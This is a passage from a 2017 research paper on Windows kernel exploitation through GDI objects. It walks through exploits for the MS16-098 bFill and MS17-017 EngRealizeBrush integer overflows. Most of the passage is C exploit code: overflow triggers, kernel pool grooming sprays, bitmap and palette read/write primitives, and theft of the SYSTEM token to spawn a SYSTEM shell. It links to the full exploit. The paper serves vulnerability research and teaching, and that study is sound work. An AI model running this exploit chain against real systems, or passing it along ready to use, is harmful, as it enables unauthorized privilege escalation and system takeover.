say that, in short, this function is a switch case that will ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!35! ! eventually call bPaintPath, bBrushPath, or bBrushPathN_8x8, depending if a brush object is associated with the hdc. The code above didn’t even reach the switch case, it failed before then, on a check that was made to check the device context DC type, thus it was worth investing in understanding Device Contexts types [13]. Looking at the information provided, it was worth trying to switch the device type to Memory(Bitmap) as follows: // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); Turns out, that was exactly what was needed to reach the vulnerable function bFill. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!36! ! Controlling the Allocation Size Looking at the code where the vulnerable allocation is made. Before the allocation is made, the function checks whether the value of [rbx+4] (rbx points to our first argument which is the EPATHOBJ), is larger than 14. If it was, then the same value is multiplied by 3 where the overflow happens. lea ecx, [rax+rax*2]; The overflow happens for two reasons: one, the value is being cast into the 32-bit register ecx and second, [rax+rax*2] means that the value is multiplied by 3. Doing some calculations, we can reach the conclusion that the value needed to overflow this function would be: 0xFFFFFFFF / 3 = 0x55555555 Any value greater than the value above, would overflow the 32-bit register. 0x55555556 * 3 = 0x100000002 Then the result of this multiplication is shifted left by a nibble 4-bits, usually a shift left by operation, is considered to be translated to multiplication by 2^4 0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32-bit register value) Still, there is no conclusion on how this value can be controlled, so I decided to read more posts about Windows GDI exploitation specially using PATH objects, to try and see if there was any mention to this. I stumbled upon this awesome blog post[14] by Nicolas Economou @NicoEconomou of ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!37! ! CoreLabs, which was discussing the MS16-039 exploitation process. The bug discussed in this blog post had identical code to our current vulnerable function, as if someone copy pasted the code in these two functions. It is worth mentioning that it would have taken me much more time to figure out how to exploit this bug, without referencing this blog post, so for that I thank you @NicoEconomou. Continuing, the value was the number of points in the PATH object, and can be controlled by calling PolylineTo function multiple times. The modified code that would trigger an allocation of 50 Bytes would be: //Create a Point array static POINT points[0x3fe01]; // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. for (int j = 0; j < 0x156; j++) { PolylineTo(hMemDC, points, 0x3FE01); } } // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); By calling PolylineTo with number of Points 0x3FE01 for 0x156 times would result in. 0x156 * 0x3FE01 = 0x5555556 Notice that the number is smaller than the number produced by the previous calculations, the reason is that in practice, when the bit is shifted left by 4, the lowest nibble will be shifted out of the 32-bit register, and what will be left is the small number. The other thing worth mentioning is that the application will add an extra point to our list of points, so the number that is passed to the overflowing instruction will be in reality 0x5555557. Let’s do the maths and see how it will work. 0x5555557 * 0x3 = 0x10000005 0x10000005 << 4 = 0x00000050 By that point, the size of the allocation will be 50 bytes and the application will try to copy 0x5555557 points to that small memory location resulting in a linear overflow of adjacent memory, which will quickly give us a BSOD, and with that successfully triggering the bug! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!38! ! Kernel Pool Feng Shui The idea is to force the allocation of our vulnerable object to be adjacent to an object under our control. The object of choice would be GDI Bitmaps, with pool tag Gh05, which is allocated to the same Page Session Pool and can be controlled using SetBitmapBits/GetBitmapBits to write/read to arbitrary memory locations. The crash happens because at the end of the bFill function, the allocated object is freed, when an object is freed, the kernel validates the adjacent memory chunks pool header; to check for corruption. Since we overflowed the adjacent page(s), this check will fail and a BSOD will happen. The trick to mitigate crashing on this check, is to force the allocation of our object at the end of memory page and control the overflow. This way, the call to free() will pass normally. Below is the flow of allocations/deallocations: HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); bitmaps[k] = bmp; } Start by 5000 allocations of Bitmap objects with size 0xf80. This will eventually start allocating new memory pages and each page will start with a Bitmap object of size 0xf80, leaving 0x80 bytes space at the end of the page. To check if the spray worked we can break on the call to PALLOCMEM from within bFill and use !poolused 0x8 Gh?5 to see how many bitmap objects were allocated. The other thing, is how to calculate the sizes which when supplied to the CreateBitmap() function translate into ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!39! ! the Bitmap objects allocated by the kernel. The closest calculations I could find were mentioned by Feng yuan in his book[11]. It was a close calculation but doesn’t add up to the allocation sizes observed. By using the best way a hacker can know, trial and error, I changed the size of the bitmap and see the allocated size object that was allocated using !poolfind command. // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } Then, 7000 allocations of accelerator table objects (Usac). Each Usac is of size 0x40, so allocating two of them will allocate 0x80 bytes of memory. This, will fill the 0x80 bytes left from the previous allocation rounds and completely fill our pages (0xf80 + 80 = 0x1000). // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!40! ! Next de-allocation of the previously allocated object will leave our memory page layout with 0xf80 free bytes at the beginning of the page. // Allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!41! ! Allocating 5000 bytes of region objects (Gh04) of size 0xbc0. This size is essential, since if the bitmap was placed directly adjacent to our vulnerable object, overflowing it will not overwrite the interesting members of the Bitmap object, which can be abused. Also, the calculated size of the allocated object in relation to the arguments supplied to CreateEllipticRgn function, was found through trial and error. At this point of the feng shui, the kernel page has 0xbc0 Gh04 object in the beginning of the page, and 0x80 at the end of the page, with free space of 0x3c0 bytes. // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } The allocation of 5000 bitmap objects of size 0x3c0 to fill this freed memory, the bitmap objects becoming the target of our controlled overflow. // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } Next part is the allocation of 1700 Clipboard objects (Uscb) of size 0x60, just to fill any memory locations that have size 0x60 prior to allocating our vulnerable object; so, when the object gets allocated, it almost certainly will fall into our memory layout. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!42! ! // Delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } The last step of our kernel pool feng shui, was to create holes in the allocated accelerator table objects (Usac), exactly 2000 holes. The kernel feng shui function is also called right before the bug is triggered, if all went well, our vulnerable object will be allocated into one of these holes right where its intended to be at the end of the memory page near a bitmap object. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!43! ! Analysing and Controlling the Overflow. Now it’s time to analyse how the overflow can be controlled. To better understand this, we need to have a look at the addEdgeToGet function, which copies the points to the newly allocated memory. In the beginning, the addEdgeToGet assigns the r11 and r10 register to the values of the current point.y [r9+4] and the previous point.y [r8+4]. Later, a check is performed, which checks whether the previous point.y is less than [r9+0c], which in this case was 0x1f0; If so, the current point will be copied to our buffer, if not, the current point to be skipped. It was noticed also that the point.y value was shifted left by a nibble, i.e. if the previous point.y = 0x20, the value will be 0x200. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!44! ! Now that we have the primitives of how we can control the overflow, we need to find out how the values 0x1 and 0xFFFFFFFF will be copied across. In the first check, the function will subtract the previous point.y at r10 from the current point.y at ebp. If the results were unsigned, it will copy the value 0xFFFFFFFF to offset 0x28 of our buffer pointed to by rdx. The assumption here, is that this function checks the direction of which the current point.y is to the previous point.y. In the second check, the same is done for point.x. The previous point.x at r8 is subtracted from the current point.x at ebx and if the results are unsigned, the function will copy 0x1 to offset 0x24 of our buffer pointed to by r15. This makes sense since it corresponds with the previous check copying to offset 0x28, as well as the fact that we want to only overflow the sizlBitmap structure. With point structures that are of size 0x30 bytes, also it copied the value 1 to the hdev member of the object pointed to by [r15+0x24]. Calculating the number of points to overflow the buffer to reach the sizLBitmap member, was easy and the way it was enforced by the exploit code was simply changing the value of the previous point.y to a larger value that would fail the main check discussed previously, and thus, the points will not be copied, looking at the code snippet from the exploit. This is how the initial points array was initialized, notice the value of points[2].y is set to 20 that is 0x14 in hex, which is less than 0x1f and will thus copy the subsequent point to our allocated buffer. static POINT points[0x3fe01]; for (int l = 0; l < 0x3FE00; l++) { points[l].x = 0x5a1f; points[l].y = 0x5a1f; } points[2].y = 20; //0x14 < 0x1f points[0x3FE00].x = 0x4a1f; points[0x3FE00].y = 0x6a1f; ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!45! ! Then a check was added to the loop calling PolyLineTo, to check if the loop iteration was bigger than 0x1F, then change the value of points[2].y to a larger value that will be bigger than 0x1F0 and thus fail the check and the subsequent points will not be copied to our buffer. for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { points[2].y = 0x5a1f; } if (!PolylineTo(hMemDC, points, 0x3FE01)) { fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); }} This will effectively control the overflow as such that the function will overflow the buffer until the next adjacent bitmap object sizlBitmap member with 0x1 and 0xFFFFFFFF, effectively expanding this bitmap object, allowing us to read/write past the original bounds of the bitmap object. If everything is working as planned, we should be able to read 0x1000 bytes from memory. Below there is the bitmap object before and after the overflow, the header, sizLBitmap and hdev members were overflowed. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!46! ! Abusing Bitmap GDI Objects The way to figure out which bitmap object was the extended, is by iteratively, calling GetBitmapBits with size larger than the original values on each bitmap from our kernel pool spray; if it succeeds, then this bitmap was the one that was overflowed, making it the manager bitmap and the next one in the bitmap array will be the worker bitmap. for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); // if check succeeds we found our bitmap. if (res > 0x150) { hManager = bitmaps[k]; hWorker = bitmaps[k+1]; break } } The hManager will be the handle to the extended Manager bitmap object with relative memory read/write to the adjacent Worker bitmap object hWorker. Overwriting the Worker Bitmap’s pvScan0 with any address will allow read/write from that location in memory, gaining arbitrary read/write. A leaked Pool address that was part of the Region object adjacent to the Manager bitmap will be used to calculate the offset to the Pool page start, and by abusing the arbitrary kernel memory read/write, the overwritten headers of the Region and Bitmap objects that have been overwritten due to the overflow. The way to calculate the address of the overflowed region object is by nulling the lowest byte of the leaked address, which will give us the address of the beginning of the current page, subtract the second lowest byte by 0x10, effectively subtraction 0x1000 from the beginning of the current page that will result in the start address of the previous page. addr1[0x0] = 0; int u = addr1[0x1]; u = u - 0x10; addr1[1] = u; Next, the address to the overflowed Bitmap object is calculated, remember that the region object is of size 0xbc0, so setting the lowest byte of the address retrieved at the last step to 0xc0, and adding 0xb to the second lowest byte, will result in the header address of the overflown bitmap object. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!47! ! addr1[0] = 0xc0; int y = addr1[1]; y = y + 0xb; addr1[1] = y; Then, SetBitmapBits is used by the manager bitmap object to overwrite the pvScan0 member of the worker bitmap object with the address of the region header. Then the worker bitmap object is used with SetBitmapBits to set that data pointed to by this address to the header data read in the first step; the same is done for the overflowed bitmap object header. void SetAddress(BYTE* address) { for (int i = 0; i < sizeof(address); i++) { bits[0xdf0 + i] = address[i]; } SetBitmapBits(hManager, 0x1000, bits); } void WriteToAddress(BYTE* data) { SetBitmapBits(hWorker, sizeof(data), data); } SetAddress(addr1); WriteToAddress(Gh05); ! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!48! ! Steal SecurityToken With arbitrary kernel memory read/write and all headers fixed, we can now get the kernel pointer to a SYSTEM process _EPROCESS structure, and copy and replace the SecurityToken of the current process as explained in a previous section. // get System EPROCESS ULONG64 SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); ULONG64 SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); // write token to current process ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress((BYTE *)&CurProccessAddr); WriteToAddress((BYTE *)&SystemToken); // Done and done. We're System :) Taken from Diego Juarez’s blog post [15]. ! SYSTEM!! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!49! ! The code and EXE for the exploit for Windows 8.1 x64 bit can be found at: https://github.com/sensepost/ms16-098 More details about this exploit can be found at: https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64- bit-by-abusing-gdi-objects/ ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!50! ! MS17-017 Win32k!EngRealizeBrush Integer Overflow leading to OOB Pool Write Understanding the Bug Last march Microsoft released a patch, which fixed a privilege escalation vulnerability affecting the GDI kernel sub system. The patched function was Win32k!EngRealizeBrush. As we all know, the March patch fixed allot of other more critical vulnerabilities used by “Shadow Brokers”, however, while everyone was analysing the SMB vulnerabilities, I got lucky analysing the privilege escalation bug. On the left is the patched function in Win32k.sys, comparing it to the unpatched version on the right. It was only obvious that there was an Integer overflow issue because of several integer verification functions such as ULonglongtoUlong, and others down the code. Even though the screenshot couldn’t fit the whole patch, I found it easier to just look at the unpatched function in IDA and try to determine what the issue was, and how it can be exploited. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!51! ! Triggering the Overflow The Win32k!EngRealizeBrush function, can be reached by using the PatBlt function to draw an area, with the created palette using the brush selected into the current graphics device context. When creating the palette using solid or hatched brushes, it was noticed that the value that can be overflown was always 0x100 on my system, however when utilising a pattern based brush, the value was controlled. HBITMAP bitmap = CreateBitmap(0x5a1f, 0x5a1f, 1, 1, NULL); HBRUSH hbrBkgnd = CreatePatternBrush(bitmap); PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY); The above code snippet will reach the vulnerable function, with a controlled value at edi in the below code. The value at edi at the time, would be the bitmap.width member of the bitmap used with the pattern brush, a step-by-step of the calculations performed is as follows. x = Bitmap.width * 20 (ecx = 20 and its based of the HDC- >bitmap.bitsperpixel) x = x / 2^3 y = x * bitmap.height result = y + 0x44 Then value of result is added to 0x40 and passed as the size parameter to the allocation function. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!52! ! Since the values of bitmap.width and bitmap.height can be controlled, it’s just a matter of finding the right combination, which would result in an overflow. The value we are aiming to get after the overflow is 0x10 (explained later). For an overflown integer to be of that value the results of the calculations in reality must be equal to 0x100000010. 0x100000010 – 0x44 – 0x40 = 0xFFFFFF8C A factor of an integer is used to find which two numbers, when multiplied together will result in that integer. One of the factors of 0xFFFFFF8C are 0x8c (140) and 0x30678337 (0x1d41d41) The value of the bitmap.width after the calculation should be 0x8c, (0x8c * 0x8)/0x20 = 0x23 Using the following bitmap as the pattern brush source, we would overflow the value when its added to 0x40 and 0x44 to result in 0x10 allocation. HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL); After the allocation, the function would try to write to certain offsets of the allocated object, as shown below. If the allocation is below 0x30 bytes in size the write to [esi+0x3C] would result in an out-of- bounds OOB write to that location. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!53! ! Stars Alignment Remember the 0x10 value? The reason for choosing that specific value is for stars aligning, the object of choice to be overflown would be a bitmap object, to overwrite its height member, and gain a relative memory read/write primitive. The 32-bit _SURFOBJ has the height member at offset 0x14: Allocated object size (0x10) + Bitmap _POOL_HEADER size(0x8) + _BASE_OBJECT size (0x10) + _SURFOBJ->height (0x14) = OOB write offset (0x3C) Precisely overwriting the height member of the adjacent bitmap object. To be completely honest, I did not just calculate the offsets and was done. It took a great amount of time, pain and trial and error to get this value so I was basically guessing when the stars aligned for me. Then it was time to check if this was actually happening in a debugger. By the end of the first section of the calculations, it can be seen that the value that would be passed to the calculation block is 0xFFFFFFD0 at ebx. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!54! ! Moving to the allocation section, in the beginning the value 0xFFFFFFD0 is added to 0x40 resulting in 0x10 in eax. Since at the end of the function, the allocated object is freed, the object needs to be allocated at the end of the memory page. The difference this time is that it should be directly followed by the bitmap object, so that we can overflow the Bitmap object height and extend its size to gain relative memory read/write. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!55! ! At this point we have three choices, that we can go with: 1. The extended Bitmap object can be used as a Manager, to overwrite the pvScan0 member of an adjacent Bitmap object, and use the second one as Worker. 2. The extended Bitmap object can be used as a Manager, to overwrite an adjacent Palette object (XEPALOBJ) *pFirstColor member, and use the Palette as a Worker. 3. Demo the full new Palette object technique, using the extended Bitmap object to overwrite the cEntries member of an adjacent Palette object, gaining relative memory read/write then use the modified Palette object as Manager, to control the *pFirstColor member of a second Palette and use the Second Palette as Worker. I decided to go with the last option, to take it as a chance to demo the new technique. To achieve this, it is necessary to to perform the kernel Pool Feng Shui as explained below. Kernel Pool Feng Shui The first allocations will be of a bitmap of allocation size 0xFE8, since we know the vulnerable object will have the size of 0x10+0x8 (POOL_HEADER), so we create 2000 allocations. 0x1000 – 0x18 = 0xFE8 for (int y = 0; y < 2000; y++) { //0x3A3 = 0xFe8 bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL); bitmaps[y] = bmp; } ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!56! ! The Next step is to allocate 2000 Objects of size 0x18, the best object that I found was the Window Class lpszMenuName. Although this is a User object it is one of the User objects that gets allocated to the Pages Session Pool, and I think it can be used to leak the address of GDI objects from User objects, but this is beyond the scope of this paper. // Spray LpszMenuName User object in GDI pool. Ustx // size 0x10+8 TCHAR st[0x32]; for (int s = 0; s < 2000; s++) { WNDCLASSEX Class2 = { 0 }; wsprintf(st, "Class%d", s); Class2.lpfnWndProc = DefWindowProc; Class2.lpszClassName = st; Class2.lpszMenuName = "Saif"; Class2.cbSize = sizeof(WNDCLASSEX); if (!RegisterClassEx(&Class2)) { printf("bad %d %d\r\n", s, GetLastError()); break; } } The next step will be to delete(deallocate) all the large size Bitmap object Gh05 allocated to the beginning of the page. for (int s = 0; s < 2000; s++) { DeleteObject(bitmaps[s]); } ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!57! ! And allocate smaller Bitmap objects Gh05 of size 0x7F8 that will be allocated to the beginning of the Pool Page, hopefully directly after the memory holes, where the vulnerable object will be placed. for (int k = 0; k < 2000; k++) { //0x1A6 = 0x7f0+8 bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL); bitmaps[k] = bmp; } ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!58! ! Next 2000 Palette objects Gh08 that will be abused, will be allocated with size 0x7E8 to the remaining free memory in kernel memory pages. HPALETTE hps; LOGPALETTE *lPalette; //0x1E3 = 0x7e8+8 lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY)); lPalette->palNumEntries = 0x1E3; lPalette->palVersion = 0x0300; // for allocations bigger than 0x98 its Gh08 for less its always 0x98 and // the tag is Gla18 for (int k = 0; k < 2000; k++) { hps = CreatePalette(lPalette); if (!hps) { printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k); //return; } hp[k] = hps; } ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!59! ! Then freeing some of the allocated Window Class lpszMenuName, to create memory holes the same size as the vulnerable object allocation, at the end of the Pool page. TCHAR fst[0x32]; for (int f = 500; f < 750; f++) { wsprintf(fst, "Class%d", f); UnregisterClass(fst, NULL); } If everything went according to plan the memory layout after the vulnerable object is allocated will be as follows. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!60! ! Relative Read/Write Bitmap GDI Object Extension Now that the vulnerable object is placed at the end of the page and directly before a Bitmap object, the out-of-bounds write (mov [esi+3c], ecx), should write the DWORD 0x00000006 which represents the brush’s bitmap type (BMF_32BPP) controlled by the biBitCount, to the offset 0x3C of the vulnerable object, which will fall nicely with the Bitmap Object sizlBitmap height member. As shown above, the adjacent Bitmap object sizlBitmap.Height changed, from 0x1 to 0x6 successfully expanding the Bitmap size, so any subsequent operations on the affected Bitmap object, will result in OOB memory read/write. The way to find out which Bitmap is extended, will be by iterating over the allocated bitmaps, and find which one can read data using GetBitmapBits, past its original size. for (int i = 0; i < 2000; i++) { res = GetBitmapBits(bitmaps[i], 0x6F8, bits); if (res > 0x6F8 - 1) { hManager = bitmaps[i]; printf("[*] Manager Bitmap: %d\r\n", i); break; } } ! ! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!61! ! Abusing Palette GDI Objects Once the Bitmap object is found, this Bitmap will be used to set the cEntries member of the adjacent Palette(XEPALOBJ) object to 0xFFFFFFFF, which is located at offset 0x6B8 of the bitmap bits. // BYTE *bytes = (BYTE*)&cEntries; for (int y = 0; y < 4; y++) { bits[0x6F8 - 8 - 0x38 + y] = 0xFF; } SetBitmapBits((HBITMAP)hManager, 0x6F8, bits); The adjacent Palette object XEPALOBJ.cEntries before being set by the Bitmap Object. The updated XEPALOBJ.cEntries. By this point a loop will be performed to find which Palette Object was extended by using the GetPaletteEntries function, and monitoring if the result entries count is larger than the original 0x1E3. UINT *rPalette; rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY)); memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY)); for (int k = 0; k < 2000; k++) { UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette); if (res > 0x3BB) { printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]); hpManager = hp[k]; break; } ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!62! ! } Once the extended Palette Object is found we will save its handle to use it as the Manager, and set the next Palette Object *pFirstColor, which is at offset 0x3FE from Manager Palette object, to the address of a fixed Bitmap Object Pool Header. UINT wAddress = rPalette[0x3FE]; printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress); UINT tHeader = pFirstColor - 0x1000; tHeader = tHeader & 0xFFFFF000; printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader); SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader); As seen above, the Worker *pFirstColor member was successfully set to the fixed Bitmap object Pool header, which means that arbitrary memory read/write was achieved. The next step is to identify the Worker Palette object handle, we know that the fixed Bitmap object least significant byte of the POOL_HEADER will be 0x35 = 5d, since Gh15 translates to 0x35316847, to identify the Worker Palette Object, a loop will iterate over the allocated Palettes calling GetPaletteEntries, until a Palette is found that has first entry’s least significant byte = 0x35, and save its handle which is going to be our Worker Palette object. UINT wBuffer[2]; for (int x = 0; x < 2000; x++) { GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer); if (wBuffer[1] >> 24 == 0x35) { hpWorker = hp[x]; ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!63! ! printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker); printf("[*] wBuffer: %x\r\n", wBuffer[1]); break; } } The arbitrary memory read/write will be used to fix the clobbered Bitmap object header. VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; void SetAddress(UINT* address) { SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address); } void WriteToAddress(UINT* data, DWORD len) { SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data); } UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) { SetAddress((UINT *)&src); DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst); return res; } Steal Token 32-bit With arbitrary kernel memory read/write and all headers fixed, we can now get the kernel pointer to a SYSTEM process _EPROCESS structure, and copy and replace the SecurityToken of the current process as explained in a previous section. // get System EPROCESS UINT SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); UINT CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); UINT SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1); fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken); // write token to current process UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress(&CurProccessAddr); ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!64! ! SYSTEM!! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!65! ! ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!66! ! References [1] POOL_TYPES: https://msdn.microsoft.com/en- us/library/windows/hardware/ff559707(v=vs.85).aspx [2] Tarjei Mandt – Kernel Pool: https://www.slideshare.net/hackitoergosum/hes2011-tarjei-mandt- kernel-pool-exploitation-on-windows-7 [3] Windows Kernel Exploitation: This Time Font hunt you down in 4 bytes – Keen Team: http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down- in-4-bytes [4] Abusing GDI object for ring0 exploit primitives Reloaded: https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by- using-gdi-objects2 [5] MSDN SURFOBJ: https://msdn.microsoft.com/en-us/library/ee489862.aspx [6] ReactOS x86 SURFOBJ: https://www.reactos.org/wiki/Techwiki:Win32k/SURFACE [7] https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives [8] ReactOS x86 Palette object: https://www.reactos.org/wiki/Techwiki:Win32k/PALETTE [9] GDIOBjDump: https://github.com/CoreSecurity/GDIObjDump [10] 360Vulcan team Win32k Dark Composition: https://www.slideshare.net/CanSecWest/csw2017- peng-qiushefangzhong-win32k-darkcompositionfinnalfinnalrmmark [11] UlongMult: ] https://msdn.microsoft.com/en- us/library/windows/desktop/bb776657(v=vs.85).aspx [12] Using Paths Example: https://msdn.microsoft.com/en- us/library/windows/desktop/dd145181(v=vs.85).aspx [13] Device Context Types: https://msdn.microsoft.com/en- us/library/windows/desktop/dd183560(v=vs.85).aspx [14] Nicolas Economou blog post: https://www.coresecurity.com/blog/ms16-039-windows-10-64- bits-integer-overflow-exploitation-by-using-gdi-objects [15] Diego Juarez Abusing GDI Objects for ring0 Exploit Primitives: https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
pdf
